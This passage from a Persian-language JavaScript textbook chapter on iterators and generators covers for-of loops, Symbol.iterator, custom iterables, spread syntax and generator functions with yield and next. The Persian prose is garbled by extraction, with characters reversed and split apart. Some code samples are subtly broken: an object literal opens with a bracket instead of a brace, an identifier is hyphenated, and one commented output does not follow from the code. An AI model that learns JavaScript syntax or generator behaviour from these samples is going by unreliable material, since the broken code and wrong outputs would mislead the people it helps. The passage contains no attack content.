= 0 ;i< classMates.length; i++){ console .log(classMates[i]); } // while loop var index = 0 ; while (index < classMates.length){ console .log(classMates[index]); index++; } // for-of loop for ( var member of classMates){ console .log(member); } ت سیل یا ج ب دی ن ک رو صت ام ا ،دری ذ پی م م ا جنا ز ی ن ی گ د ا س ه ب و تس ا م ش اب ق ح ، تق ی ق ح ر د سی ردت هتشر ک ی ک فت هب ا ر ه د ک شزومآ ل ک دیتا سا ز ا یت سیل ، هد ا س یاهیا رآ تروص هب اهی سلا ک م ه .دیشاب هتش اد ه دش 2 https://codeburst.io/a-simple-guide-to-es6-iterators-in-javascript-with-examples-189d052c3d8e 190 اه Generator و Iterator ","const schoolTeachers = { allTeachers: { math: [ “Mr.B.Ahmadian” , “Mr.A.Salami” , “Mrs.S.Gholami” ], chemistry: [ “Mrs.F.Roshani” , “Mr.J.Rezaei” , “Mr.R.Tavakolli” ], computer: [ “Mr.T.Alinezhad” , “Mr.D.Gholami” ] } }; مسا ه ب property کی یا ر اد ه ک تسا object کی د و خ schoolTeachers ت لاح ن یا ر د هتشر ر ه ی ار ب ی ی اههعو مج م ری ز ی ا ر اد و هد وب رگید object کی د و خ ه ک دشابیم allTeachers .د ن وشیم ل ماش ا ر هتشر ر ه ن ار یب د ز ا هیا رآ کی ،ما دک ر ه هک دشابیم ی س ر د ز ا هد افت سا نا ک م ا یت روص هب سیورس کی اب ا ر ن ار یب د م ا مت ت سیل ات د وش هت سا و خ ا م ش ز ا ر گ ا لا اح هب دی ن کیم باخت نا ه ک ی درکیو ر ،دی ن ک یح ار ط ،دشاب هتش اد ا ر destructoring ا ی spread رگلم ع ار ج ا ل باق for...of هقل ح هک د نن کیم راک ی ن امز اه رگلم ع ن یا م ی نادی م نوچ ؟ د وب ده ا و خ تروص هچ : م ی ن زیم ت ست کی ا دتب ا ر د ، دشاب for ( const teacher of schoolTeachers){ console .log(teacher); } // TypeError: {} is not iterable م ی نا وتی من ام نوچ ، تسا ص خ ش م م ه ر م ا نیا ل یل د ، ده دی م ا طخ لا اب دک هک م ی ن کیم ه دها ش م هک دش دیه ا و خ ه جوتم ش خب ن یا ی ا هتنا ر د ام ا ،م ی ن ک هد افت سا object کی یار ب ا ر for..of هقل ح .د و من هد افت سا هقل ح ن یا ز ا ز ی ن object یور ن ا وتب هک در ک د ا جیا یت لاح کی ن ا وتیم ه ن و گ چ 191 مه د شخب ","[ object iterator تخاس م ا ن ه ب دتم کی د و خ یلعف ی اههتس ناد اب م ی ن کیم ی عس ا دتب ا ر د ،ه دش ه ئا ر ا ل اثم ر د ا ر ن ار یب د ز ا ی ه ا وخل د ت سیل ه ئا ر ا ه فیظو ات م ی ن ک د ا جیا یل ص ا object یور ر ب getAllTeachers د روم object هب و فیرعت دتم کی ن ا وتیم ، ار ج ا ی گ د ا س یار ب زی ن د روم نی م ه ی ار ب .دشاب هتش اد اتدعاق دتم ن یا هن دب هت ب ل ا ،در ک د ا جیا ا ر د و خ رظن د روم ت سیل ،نآ ی نا و خارف اب س پ س ،در ک bind رظن هد افت سا ن ار یب د تاع لا ط ا شی ا م ی پ و for هقل ح ن ی د ن چ ز ا هد افت سا اب و ت ش اد ده ا وخ ن یی ا بی ز یاهدک .م یه دی م حر ش دک ی ع ق او ل اثم ه ئا ر ا ز ا سپ ا ر نآ ل ماک ل ی لحت هک ، در ک const schoolTeachers = { allTeachers: { /* */ }, getAllTeachers: function (){ const teachers = []; // loop over math teachers for ( const teacher of this .allTeachers.math){ teachers.push(teacher); } // loop over chemistry teachers for ( const teacher of this .allTeachers.chemistry){ teachers.push(teacher); } // loop over computer teachers for ( const teacher of this .allTeachers.computer){ teachers.push(teacher); } return teachers; } }; ،م ی ن ک تف ا ی ر د هیا رآ کی تروص هب ا ر اههتشر م ا مت ن ار یب د ت سیل م ی نا وتیم شو ر ن یا ز ا هد افت سا اب کی ن ا و ن ع هب ا ر ش خب ن یا ر گ ا ،ل اثم ی ار ب ،د ن ه د خ ر شو ر ن یا ر د د نا وتیم ت لاکش م ی رس کی ام ا نیا ز ا ده ا و خی م هک ی رگید سی و نه ما نر ب تسا نکم م ، م یشاب هدر ک ار ج ا لا اب حطس یاهژورپ ر د لوژ ام .د وش و ر بور لکش م اب و د نز ب س دح د نا وت ن ا ر getAllTeachers دتم ن ا و ن ع ،د ن ک هد افت سا object و دشاب سرتسد ل باق ه ر ا و م ه ص خ ش م م ا ن اب دتم کی ه ک م یه د هئا ر ا ی را ک ه ا ر م یتس نا وتیم ر گ ا ام ا 192 اه Generator و Iterator ","… در کیم ا دی پ ش هاک رایسب ا طخ اب ندش و ر بور ل ا مت ح ا ، ده د تش گزاب ا ر هداد ز ا یص خ ش م ع و ن هقل ح ی ار ج ا ی زا س د ر ا د ن ات سا یار ب ECMA طس وت رتش ی پ ی زا س نا سم ه و رک فت ن یا هن اتخ ب شو خ اب هک تسا iteration هب ط وب ر م object راک ه ج یت ن و تسا ه دش م ا جنا ص ا خ ی اه object یور ر ب .د ی آیم تس دب Symbol.iterator ز ا هد افت سا [ Symbol دا من هئا ر ا یب لاج تا ن ا ک م ا یرس کی و تسا ه دش ه ف اض ا ES6 ر د ز ی ن ی دی ل ک ه مل ک ن یا ع ق او ر د یاه ت ی ل باق ز ا یکی ل اثم ی ار ب ، تسا سرتسد ل باق ، ت با ث ی اهدتم و اهیگژ یو یو ر ر ب هک ده دی م ل اثم د روم ر د ه ک م ی ن ک دیلوت ا ر ی درف ه ب رصحن م رید ا ق م ات د زا سی م ر د اق ا ر ام هک تسا نیا symbol :ل اثم ی ار ب .د ن و شن ط و ل خم اه object هی ق ب یاهیگژ یو اب ،ی لعف object console .log( Symbol ( ‘foo’ ) === Symbol ( ‘foo’ )); // output: false ل باق object کی ه ک م ی ن کیم هد افت سا Symbol یور ر ب iterator یگژ یو ز ا ،ه دش ر ک ذ ل اثم د روم ر د 3 .د وشیم هد افت سا for...of هقل ح ر د ه ک د نادر گیم ر ب ا ر iterate ر ا د ق م و تسا next م ا ن ه ب دتم کی یا ر اد ه ک د نادر گیم زاب object کی Symbol.iterator نات یار ب ه لم ج ن یا … دشابیم done و value یاهیگژ یو اب object کی ز ی ن دتم ن یا د و خ یتش گزاب نآ ر ب یرذگ ش خب ی ا دتب ا ر د ه ک در کیم ر ک ذ ا ر ه لم ج نی م ه ا ق یق د iterator لکتورپ ؟ ت سی ن ا ن شآ .م یتش اد 3 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ Symbol/iterator 193 مه د شخب ","[ computed property نا ک م ا ه ک می ر اد )ه دش ش ز ادرپ ی اهیگژ یو( computed property م ا ن ه ب ی ن ا ک م ا ES6 ر د :ل اثم ی ار ب .ده دی م object هب ا ر ت با ث ر ی غ ی اهیگژ یو ز ا هد افت سا let index = “1” ; let obj = { foo: “bar” , [ “baz” + index ]: 42 } Symbol.iterator ن ا و ن ع اب دتم کی ه ک م ی ن ک دیلوت object کی م ی نا وتیم یگژ یو نیا ز ا هد افت سا اب ر د ش خب و د ر د ه ک ری ز دک هب .ده د تش گزاب Iterable لکتورپ مرف ه ب object کی و دشاب هتش اد :دی ن ک ت ق د تسا ه دمآ د ع ب ه ح فص و ه ح فص ن یا const Iterable = { [ Symbol .iterator]() { let level = 0 ; const iterator = { next() { level += 1 ; if (level === 1 ){ return { value: “Level 1 “ , done: false }; } else if (level === 2 ){ return { value: “Level 2 “ , done: false }; } else if (level === 3 ){ return { value: “Level 3 “ , done: false 194 اه Generator و Iterator ","}; } return { value: undefined , done: true }; }; }; return iterator; } } :م ی ن کیم هد افت سا رظن د روم object ز ا ی گ د ا س ه ب زی ن لا اب دک ی ار ج ا یار ب var levelCounter = Iterable[ Symbol .iterator](); levelCounter.next(); // {value: “Level 1” , done: false} levelCounter.next(); // {value: “Level 2” , done: false} levelCounter.next(); // {value: “Level 3” , done: false} levelCounter.next(); // {value: undefined , done: true} م ز لا object کی ر د هد افت سا د روم ن ا و ن ع یزا س د ر ا د ن ات سا یار ب م یتفگ هک دتم کی ،ه دش ر ک ذ دک ر د ا ر object نیا . د ن کیم ی نادر گزاب object کی ه ک میدر ک فیرعت Symbol.iterator م ا ن اب ا ر می ر اد هل ح ر م یر ا د هگن ه فیظو هک میدر ک فیرعت level م ا ن ه ب ر یغتم کی نآ ز ا لب ق و می دیما ن iterator هک مید و من د ا جیا next م ا ن ه ب ع بات کی iterator هب ط وب ر م object لخاد ر د .د ر اد ه د ه ع ر ب ا ر ر براک ینادر گزاب ا ر بس ا ن م خس ا پ ،ه دش یر ا د هگن level س ا سا ر ب و م ی نز ب ا دص راب ر ه ر ارکت ر ه ر د م ی نا وتب .م ی ن ک کی و هد و من هد افت سا iteration لکتورپ د ر ا د ن ات سا ز ا ه رابو د ز ی ن اه خس ا پ ت م رف ن د وب د ر ا د ن ات سا یار ب هب نام رظن د روم ر ارکت ر گ ا ات دشابیم done و value یگژ یو یا ر اد ه ک م یه دی م تش گزاب object .د وشیم true ر ب ار ب done ر ا د ق م دشاب ه دی س ر م ا متا ر ارکت م ا جنا یار ب ه قل ح ز ا ع و ن نیا و د ر اد د وجو for...of هقل ح ی لخاد رات خ ا س ر د درکیو ر نی م ه ا ق یق د د ن کیم د ا جیا اهنآ ندی س ر م ا متا ه ب نامز ات ر صا ن ع م ا مت شی ا م ی پ یار ب iterator مرف ه ب object کی 195 مه د شخب ",".د ن ا س ریم م ا متا ه ب ا ر رظن د روم شی ا م ی پ رصن ع ن یرخ آ ات next دتم ی نا و خارف اب و ا ر ه دش ه ئا ر ا object ،ه دش ه ئا ر ا تا ح یضوت اب و میدر گ ر ب ه س ردم ن ار یب د د روم ر د ه دش ه ئا ر ا ل اثم هب .می روایبر د iterate ل باق object کی لک ش هب const schoolTeachers = [ allTeachers: { math: [ “Mr.B.Ahmadian” , “Mr.A.Salami” , “Mrs.S.Gholami” ], chemistry: [ “Mrs.F.Roshani” , “Mr.J.Rezaei” , “Mr.R.Tavakolli” ], computer: [ “Mr.T.Alinezhad” , “Mr.D.Gholami” ] }, // this will act like for...of [ Symbol .iterator](){ return Object.values(this.allTeachers) .reduce((acc, teachers) => [...acc, ...teach-ers], []) [Symbol.iterator](); } } رظن د روم object ات د وشیم ث عاب ده دی م م ا جنا ا ر گ رزب یراک یس ی و ن دک طخ نیرتم ک اب هک ق و ف دک .دشاب شی ا م ی پ ل باق for...of هقل ح اب یگ د ا س ه ب و د ی آیم ر د iterable مرف ه ب 196 اه Generator و Iterator ","for ( const teacher of schoolTeachers) { console .log(teacher); } :د و من پ اچ ا ر رظن د روم object رید ا ق م زی ن spread رگلم ع ز ا هد افت سا اب ن ا وتیم یتح console .log([...schoolTeachers]); // array of teachers console .log(...schoolTeachers); // string of teachers ر یغتم ن داد س ا پ ی گژ یو ز ا هد افت سا اب string و هیا رآ تروص هب ا ر ن ار یب د ی ما سا ق و ف دک کبس ود هب هر مزور و هد ا س ی اههما نر ب یح ار ط ر د د ی اش .د نن کیم پ اچ spread تروص هب iterate ل باق ص ا خ ی اه در براک و ی اهفر ح یاهه ن اخباتک یح ار ط ر د ام ا ، دشا بن زای ن یک ی نکت ن ی ن چ ز ا هد افت سا .د ر اد ر ار ق هجوت د روم ه ر ا و م ه ا طخ ل ا مت ح ا نیرتم ک اب و بس ا ن م یس ی و ن دک ، ه رو ظن م [ ت پ یرکس ا واج یمو مع ی اه Iterable یتاذ لک ش هب و د ن شابیم ا ر اد ا ر iterate ت ی ل باق اه object ز ا ی رایسب ت پ یرکساو اج ر د یگ د ا س ه ب و لوا ه ا گن ر د تسا نکم م هت ب ل ا . د ناهداد ی اج د و خ لد ر د ا ر لب ق ل اثم د نن ام یدک ه کت یی اه ل اثم هم ادا ر د .در ب ی پ اهنآ در کراک ه و حن ه ب ن ا وتیم ت ق د یم ک اب ام ا می و شن ه ی ض ق ن یا ه جوتم یفرع م ا ر د نت سه iterable ا ی د نن کیم هد افت سا iterable لکتورپ ز ا ه ک ا ر ی ی اه ه دعاق و ر صا ن ع ز ا .م ی ن کیم ا ه Iterable د ر او رتق یق د س پ س م ی ن کیم نایب اهنآ د روم ر د یت ا ح یضوت هارم ه هب ا ر iterable د ر ا وم ز ا یت سیل .می وشیم ثحب م iterate ت ی ل باق typed یاهه یا رآ یتح و اهه یا رآ :)...و Uint8Array ( ی ع و ن ی اه هیا رآ و اه هیا رآ .د ز for...of هقل ح اهنآ یور ر ب ن ا وتیم و د ن شابیم ا ر اد ا ر هتشر کی تق ی ق ح ر د ام ا ، د نت سی ن ه عو مج م ر هاظ هب اههتشر هچ ر گ ا :)Strings( اه ه تشر اه رت ک ا راک کت کت یو ر ر ب ات ،دشابیم ا ر اد ا ر iterate ت ی ل باق هک دشابیم اه رت ک ا راک ز ا یاه عو مج م .د وش هد ز ه قل ح اهد ک ی ن و ی ا ی اهنآ هب هطوب ر م رید ا ق م و اهدی ل ک یور ر ب ن ا وتیم زی ن اههعو مج م ع و ن نیا ر د : Set و Map .ت ش اد iterate 197 مه د شخب "," ینع م ع ب ا وت لخاد ر د ه ک arguments ر یغتم هک م ی نادی م :عب ات لخاد arguments ری غت م .د ر اد هیا رآ د نن ا م ه یرات خ ا س ه ک تسا ر صا ن ع ز ا ه عو مج م کی د ن کیم ا دی پ ر ب م ی نا وتیم ، م ی ن ک باخت نا dom هعو مج م کی html هح فص کی ز ا یت قو : DOM ی اهتنم لا .م یشاب هتش اد iterate زی ن اهنآ یور نیا ،ه دش iterable ید اع یاه object ا ی و set , map ر ب ی نتب م یاه iterator د روم ر د مه م هت کن نکم م و دشابی من رظن د روم object ندش رپ ب یت رت ام از ل ا ،ر صا ن ع یور ر ب iterate ب یت رت ه ک تسا ،تسا ص خ ش م هک یزیچ ام ا ،د وش ی نادر گزاب مود هخ وچ ر د تسا ه دش رپ ا دتب ا ه ک یگژ یو تسا .تسا ه عو مج م ر صا ن ع یه م ه یور ر ب iterate م ا جنا یعط ق نی مضت [ ندو ب iterable یسرر ب نیا ه ک د ر ا د ن ی موزل ام ا ،میدر ب م ا ن ا ر iterate ل باق د ر ا د ن ات سا ی اههعو مج م لب ق ش خب ر د ،ه دش یزا س هد ای پ ی اههما نر ب ر د تسا نکم م د ر ا وم ن یا ر ب هولا ع نوچ ،دی ن ک ظ فح ا ر اهه نیز گ نا ن ی م ط ا اهنآ ن د وب iterable ز ا ا دتب ا دشاب زای ن و د ن شاب ه دش یح ار ط ی رگید یص خش یاههعو مج م هد افت سا ن د وب iterable یا یاز م ی رگید ز ا ا ی م ی نز ب for...of هقل ح اهنآ یور ر ب س پ س و هدر ک ل صاح .م ی ن ک ز ا ت س ی ابیم ه کنیا و د ر اد یی اهید ن مزای ن ه چ و ت سیچ ی نف ظ ا ح ل هب ن د وب iterable م ی نادی م ر یغتم ا ی ع و ن کی ن د وب iterable یس ر ر ب ی ار ب ن یا ر ب هولا ع .د ن ک یو ر ی پ ن د وب iterable لکتورپ ه دش ر ک ذ ی اه ل اثم ر د ه ک رو طن ا م ه ، م ی ن ک هد افت سا ] Symbol.iterator [ دتم ز ا م ی نا وتیم ص ا خ طس وت اههعو مج م ی خر ب یور ر ب ، iterate هب زای ن ی زا سد ر ا د ن ات سا یار ب دتم ن یا ،میداد ح یضوت و هد ز ا دص ا ر دتم ن یا iterate ل باق هعو مج م ر ه یور ر ب م ی نا وتیم سپ ،تسا ه دش ه ف اض ا ECMA .م ی ن ک ل صاح نا ن ی م ط ا نآ ن د وب د وجوم ز ا ا ی :ت پ یرکساو اج د ر ا د ن ات سا ی اههعو مج م ر د ] Symbol.iterator [ دتم ی نا و خارف ز ا ی لاثم const myMap = new Map ([[ “ali” , 2 ]])[ Symbol .iterator](); console.log( myMap ); // MapIterator {“ali” => 2} MapIterator کی و ه دش ار ج ا map هعو مج م ز ا ] Symbol.iterator [ دتم ق و ف دک ی ار ج ا اب 198 اه Generator و Iterator ",".ده دی م تش گزاب :د ن کیم ق دص زی ن set و یاهیا رآ ،ی اهت شر یاههعو مج م ی ار ب ل اثم نی م ه “hi” [ Symbol .iterator]() // StringIterator {} [ ‘1’ ][ Symbol .iterator]() // Array Iterator {} new Set ([ 1 , 2 ])[ Symbol .iterator]() // SetIterator {1, 2} :ت شو ن ز ی ن ن د وب iterable یس ر ر ب ی ار ب ع بات کی ن ا وتیم ق و ف دک ه کت س ا سار ب // https://stackoverflow.com/questions/18884249/ function isIterable ( obj ) { // checks for null and undefined if (obj == null ) { return false ; } return typeof obj[ Symbol .iterator] === ‘function’ ; } [ اه iterable ز ا ن ا گد نن ک ه دا فت س ا iterable یاههعو مج م اب ندش ا ن شآ و ن د وب iterable و iterate م و ه فم ندش هجوتم ز ا د ع ب .د س ریم اههعو مج م ن یا ز ا هد افت سا ه و حن ه ب ت بو ن ، اهنآ ندش هت خ ا س ه و حن و هک ار چ ، م یه دی م ه ئا ر ا د ر ا وم ن یا ر د یرصت خم ح یضوت و هدر ک ت سیل ا ر اه iterable ز ا یی اه در براک :د جن گی من ب اتک ن یا ب وچراچ ر د اهنآ ل ماک ح یضوت و next ع بات ن د ز ا دص اب د نا وتب ات ، د ر اد iterable هب زای ن for...of هقل ح : for...of ه ق ل ح ا ر ی رگید ر ا د ق م م یه ا وخب ر گ ا و ده د م ا جنا ا ر هعو مج م یا هتنا ات شی ا م ی پ done و value تف ا ی ر د تف ا ی ر د TypeError یا طخ م ی نز ب ه قل ح نآ ر صا ن ع یور ر ب و هدر ک شی ا م ی پ for...of ز ا هد افت سا اب .م ی ن ک یم ن د وب iterable د وجو destructuring ن داد خ ر ل یل د :اه هیا رآ destructuring زا هد افتسا 199 مه د شخب ",".دی ن ک ا دی پ تنرتنیا ر د دی نا وتیم زی ن نآ ندش م ا جنا ه و حن ز ا یی اه ل اثم و تسا ل یل د ه ب زی ن spread رگلم ع ز ا هد افت سا destructuring د نن ا م ه :) … ( spread رگل م ع .م ی ن ک هد افت سا نآ رید ا ق م ز ا م یه ا و خی م هک ت سه ی ر یغتم ن د وب iterable [ اه Generator ر از ب ا ا ع ق او اه Iterator ،می وشیم ا ن شآ Generator م و ه فم اب اه iterator اب ی ی ا ن شآ ز ا سپ تسا حرط م هک ی اهل ئسم ام ا ، د نت سه اهنآ شی ا م ی پ و هداد ز ا ه عو مج م کی تیری دم ی ار ب یبو خ ر گ ا ا ی و ر ا وش د یم ک د نا وتیم اهنآ ی لخاد ی اه ت لاح ح ی ح ص یح ار ط و تیری دم هک ، د وش یم ن یا ع بات کی د ا جیا ، ده دی م ه ئا ر ا Generator هک یرا ک ه ا ر ،دشاب ر اد ا طخ د و شن م ا جنا یف اک ت ق د اب م ا جنا ل باق yield یدی ل ک ه مل ک اب هک دشابیم iterate ل باق object هتس وی پ ینادر گزاب ی ار ب ،یل ما کت .دشابیم yield یدی ل ک ه مل ک کی ل ق ا دح ی ا ر اد بلغا و فیرعت function * اب generator لک ش هب ع ب ا وت لک ش هب زی ن ید اع ع بات ر د yield ن داد ر ار ق اب س کا فری ا ف رتش ی پ هتب ل ا ، د نت سه د و خ ع بات ه ن دب ر د ف ذح س کا فری ا ف ز ا نا ک م ا نیا es6 ر د generator یگژ یو ندش ی عط ق اب، در کیم لم ع generator .دش 200 اه Generator و Iterator ",":دشابیم ری ز مرف ه ب generator ع ب ا وت اب ه ط ب ا ر ر د ی لاثم function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + ver; } [object Generator [ کی ار ج ا ز ا سپ ،تسا ه دش فیرعت generator تروص هب هک ع بات ن یا م یه ا و خ نآ د روم ر د یرت ل ماک ح یضوت هک د ن کیم یو ر ی پ iterable لکتورپ ز ا ه ک ده دی م تش گزاب یار ب ید ی دج م و ه فم اه generator لا ا مت ح ا ، دیشاب هدر ک هد افت سا ruby ا ی python ز ا ر گ ا هتب ل ا ،داد .د یاهت ش اد د رو خر ب yield ب لاج یدی ل ک ه مل ک اب و د نت سی ن ا م ش return یدی ل ک ه مل ک اب ا ی و د نسرن م ا متا ه ب هک ی ن امز ات ع ب ا وت ت پ یرکساو اج ر د ه ک م ی نادی م ، می رذ گ ب همل ک اب هب ندی س ر د ر ا وم ن یا ر ب هولا ع generator مرف ه ب ع ب ا وت ام ا ، د ن وشیم ار ج ا ، د ننکن د رو خر ب عط ق ا ر ع بات ی ار ج ا ر ا د ق م تش گزاب ن یا ام ا ،ت ش اد د ن ه ا و خ یتش گزاب ر ا د ق م زی ن yield یدی ل ک یار ج ا اب تق ی ق ح ر د . د ن ام ده ا و خ رظتن م تسا هداد خ ر yield هک ی لح م نا م ه ر د ع بات و در ک ده ا وخ ن next)( ع بات ات تسا رظتن م هک و تسا generator کی یتش گزاب ر ا د ق م generator مرف ه ب ع بات هک می ر اد ر طا خ ه ب ،ده د تش گزاب iterable لکتورپ ب لاق ر د ا ر yield نیلو ا و م ی ن ک ی نا و خارف ا ر نآ م ا ن ه ب رگید ی گژ یو کی و value م ا ن ه ب یگژ یو کی یا ر اد یتش گزاب ر ا د ق م ت س ی ابیم لکتورپ نیا ر د .ده دی م ربخ iterate ندی س ر م ا متا ه ب ت ی ع ضو ز ا ه ک دشاب done 201 مه د شخب ","د روم ر د ل اثم ی ار ب ،ده دی م تش گزاب iterate ل باق object کی generator ع بات ی ار ج ا ه ک م یتفگ :لا اب ل اثم function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + (ver + 1 ); } var book = jsBook( 1 ); console.log(book); // jsBook {} ،تسا ه دش یه د ر ا د ق م generator ع بات کی ینا و خارف اب هک book ر یغتم هک م ی ن کیم ه دها ش م generator ع بات ی نعی هتکن نیا و تسا هت ش اد هگن د و خ ر د قلع م لک ش هب ا ر ع بات نآ generator .د ن کیم راک یت س ر د ه ب ه دش هت خ ا س generator ع بات ز ا yield نیلو ا ر ا د ق م و هد ز ا دص ا ر next)( ع بات book ر یغتم یور ر ب م ی نا وتیم ل اح :می روآ تس دب ا ر function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + (ver + 1 ); } var book = jsBook( 1 ); console .log(book.next()); // {value: “first version: 1”, done: false} ر د yield نیلو ا اب هک یر ا د ق م ، book ر یغتم یور ر ب next ع بات نیلو ا یار ج ا اب هک م ی ن کیم ه دها ش م یگژ یو رو طن ی م ه و تسا هتفر گ ر ار ق value یگژ یو ر د ،مید وب هداد تش گزاب د و خ generator ع بات اد د ج م م ی نا وتیم ی نعی ، دشابیم false ده دی م ربخ iterate ل ح ار م ندی س ر م ا متا ه ب ز ا ه ک done ل اثم ر د ه دش ر ک ذ مرف ه ب ا ر راکن یا دیه د ه زاج ا سپ .م ی ن ک ار ج ا book ر یغتم یور ر ب ا ر next ع بات .م یه دی م م ا جنا د ع ب 202 اه Generator و Iterator ","function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + (ver + 1 ); } var book = jsBook( 1 ); console .log(book.next()); // {value: “first version: 1”, done: false} console .log(book.next()); // {value: “version: 2”, done: false} console .log(book.next()); // {value: undefined, done: true} ه دش yield رید ا ق م ن داد تش گزاب هب رجن م هک ، book ر یغتم یور ر ب next دتم ی ار ج ا راب ه س ز ا سپ .می وشیم iteration ندی س ر م ا متا ه ب هجوتم و د وشیم true اب ر ب ار ب done یگژ یو ر ا د ق م ، د وشیم ع بات یاهدک ندی س ر م ا متا ه ب ی نع م هب done یگژ یو ندش true نا م ه ا ی iteration ندی س ر م ا متا ه ب .دشابیم return نیلو ا اب ندش هج ا وم ا ی yield نیرخ آ ات ا دتب ا ا مت ح ی نعی ،م ی ن کیم هد افت سا book ر یغتم ز ا next ع بات ی ار ج ا راب ر ه ی ار ب دی ن ک ت ق د ر گ ا ع بات ،نآ یور ر ب م ی نا وتب ات ، م یه د ص ی ص خت ر یغتم کی ه ب و هدر ک ار ج ا ا ر generator ع بات ت س ی ابیم ات ی ا هن ،م یهد ن م ا جنا ا ر راک ن یا ر گ ا ام ا ،م ی ن ک تف ا ی ر د ا ر د و خ رظن د روم رید ا ق م و م ی ن ک ار ج ا ا ر next .میور ب ش ی پ yield نیلو ا ات م ی نا وتیم :دی ن ک هجوت ری ز ل اثم هب ( function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + (ver + 1 ); })( 1 ).next(); // {value: “first version: 1”, done: false} ا ر نآ ز ا next نیلو ا و م یه دی م ر ار ق IIFE کلا ب کی لخاد ر د و generator مرف ه ب ا ر jsBook ع بات زی ن ام و ت سی ن generator رگید یتش گزاب ر ا د ق م نوچ next نیلو ا یار ج ا ز ا سپ ،م ی ن کیم ار ج ا 203 مه د شخب ","هتش اد یسرتسد رید ا ق م ی ق بام هب م ی نا وتی من ،میاهدرکن ی ر ا د هگن یر یغتم ر د ا ر ع بات ی ار ج ا هج یت ن :ت ش اد ده ا و خ ا طخ ری ز لک ش هب یدک ی ار ج ا و م یشاب ( function * jsBook ( ver ){ yield “first version: “ + ver; yield “version: “ + (ver + 1 ); })( 1 ).next().next(); // ERROR ر یغتم نآ ز ا و در ک یر ا د هگن ر یغتم کی ر د ا ر generator ع بات ی ار ج ا هج یت ن ه ر ا و م ه تسا رته ب سپ .د و من هد افت سا رظن د روم رید ا ق م ن د روآ تس دب ی ار ب 9888 و next ع بات ی نا و خارف یار ب [ generator رد return و yield ز ا ه دا فت س ا هد افت سا نامز م ه تروص هب return و yield ز ا دشاب زای ن د و خ generator ع بات ر د یل یل د ر ه هب ر گ ا هب رگید return نیلو ا اب هما نر ب ندش هج ا وم ز ا سپ ه ک م ی ن ک هجوت هت کن نیا ه ب ت س ی ابیم ، د وش :ل اثم ی ار ب ، ت ش اد ده ا وخ ن یه جوت ه دش هتشو ن ی اه yield و اهدک ی ق بام function * jsBook ( ver ){ var x = yield “first version: “ + ver; return “returned, x = “ + x; // will not run yield “version: “ + (ver + 1 ); } var book = jsBook( 1 ); console .log(book.next()); // {value: “first version: 1”, done: false} console .log(book.next()); // {value: “returned, x = unde-fined”, done: true} :د ر اد هتکن نی د ن چ لا اب دک ه کت هب هک تسا done: true یا ر اد یتش گزاب ر ا د ق م و تسا ه د شن ار ج ا return ز ا د ع ب yield دک 204 اه Generator و Iterator ",".تسا ر ارکت ندی س ر م ا متا ه ب ی نع م ه دش iteration ندی س ر م ا متا ه ب رجن م هک next)( ع بات ن یرخ آ ر د یتش گزاب value ر ا د ق م .تسا ع بات ز ا ه دش return ر ا د ق م ، تسا یر ا د ق م چ یه نوچ ید ع ب ر ارکت ر د ،م یه د ص ا صتخا یر یغتم هب ا ر yield ز ا یتش گزاب ر ا د ق م ر گ ا ن ا و ن ع هب ا ر یر ا د ق م ر گ ا ام ا ،د وب ده ا و خ undefined رظن د روم ر یغتم ، میا هدا د ن س ا پ next ع بات هب ا ر .در کیم قرف لا اب دک یجو رخ ،میدا دیم مود next ع بات هب رت م ا را پ :ل اثم ی ار ب function * jsBook ( ver ){ var x = yield “first version: “ + ver; return “returned, x = “ + x; // will not run yield “version: “ + (ver + 1 ); } var book = jsBook( 1 ); console .log(book.next()); // {value: “first version: 1”, done: false} console .log(book.next( 4 )); // {value: “returned, x = 4”, done: true} هج یت ن ن ا و ن ع هب ی نا و خارف ن یمو د ر د next ع بات هب 4 ر ا د ق م ن داد س ا پ اب هک م ی ن کیم ه دها ش م return اب س پ س .تسا هتفر گ ر ار ق x ر یغتم ر د و ه دش هت فر گ رظن ر د ندش yield نیلو ا ز ا یتش گزاب .م یه دی م ش شو پ ل ماک ید ع ب ش خب ر د ا ر د روم ن یا .ددر گیم زاب ندش [ next دت م ه ب رتم ار اپ ند ا د س اپ هک ، تسا next ع بات هب ر ا د ق م ن داد س ا پ یاهفر ح generator ع ب ا وت تخ ا س ی اههت کن ز ا یکی ن ا و ن ع هب م ی نا وتیم ، next ع بات هب ر ا د ق م ن داد س ا پ اب .ده د ر ییغت ا ر ع بات در کراک ه و حن نآ ز ا د نا وتیم 205 مه د شخب ",":دی ن ک هجوت ص و صخ نیا ر د ری ز ل اثم هب . م ی ن ک هد افت سا یلب ق yield ر د یتش گزاب ر ا د ق م function * advancedGenerator ( input ){ console .log(input); const j = 2 * ( yield (input * 10 )); console .log(j); const k = yield ( ( 5 * j) / 4 ); console .log(k); return (input + j + k); } var gnFunction = advancedGenerator( 10 ); gnFunction.next( 5 ); // {value: 100 , done: false } 10 gnFunction.next( 20 ); // {value: 50 , done: false } 40 gnFunction.next( 30 ); // {value: 80 , done: false } 10 :م یه دی م حر ش رت یت رس تروص هب ا ر د روم د ن چ .دشابیم ی د ا ی ز تا کن یا ر اد ه ک لا اب دک ه کت ح یضوت ر د ،د وشیم ار ج ا ع بات و هدر ک یه د ر ا د ق م 10 ر ا د ق م اب ا ر input ناموگرآ generator ع بات ی نا و خارف اب .در ک ده ا وخ ن ار ج ا ا ر console.log ترا ب ع ، ع بات ن د وب generator ل یل ده ب ار ج ا نیا yield نیلو ا ، gnFunction ر یغتم یور ر ب next ع بات ندش ی نا و خارف اب iteration نیلو ا ر د ر ا د ق م input * 10 اب yield و تسا 10 اب ر ب ار ب input نوچ ، د وشیم ار ج ا رظن د روم generator ع بات ترا ب ع س پ س ،د وشیم هداد تش گزاب ری ز object و د وب ده ا و خ 100 ر ب ار ب value سپ ، د نادر گیمزاب :د وشیم 10 ر ا د ق م ندش پ اچ هب رجن م هک د وشیم ار ج ا لوا console.log {value: 100 , done: false } ر د ی لو ، تسا ه دش هداد س ا پ لوا next ع بات هب 5 ر ا د ق م هک تسا نیا ار ج ا نیا یس ا سا هتکن د و شن هداد س ا پ ع بات هب ر ا د ق م ن یا ه ک یتروص ر د یت ح ، د ر ا د ن یر ی ث ات چ یه iteration یلعف یار ج ا می ر ا د ن yield لب ق ز ا و هد وب yield نیلو ا ه ک ار چ ، د وب ده ا و خ لب ق ت لاح ،یجو رخ نا م ه یجو رخ ز ی ن .در 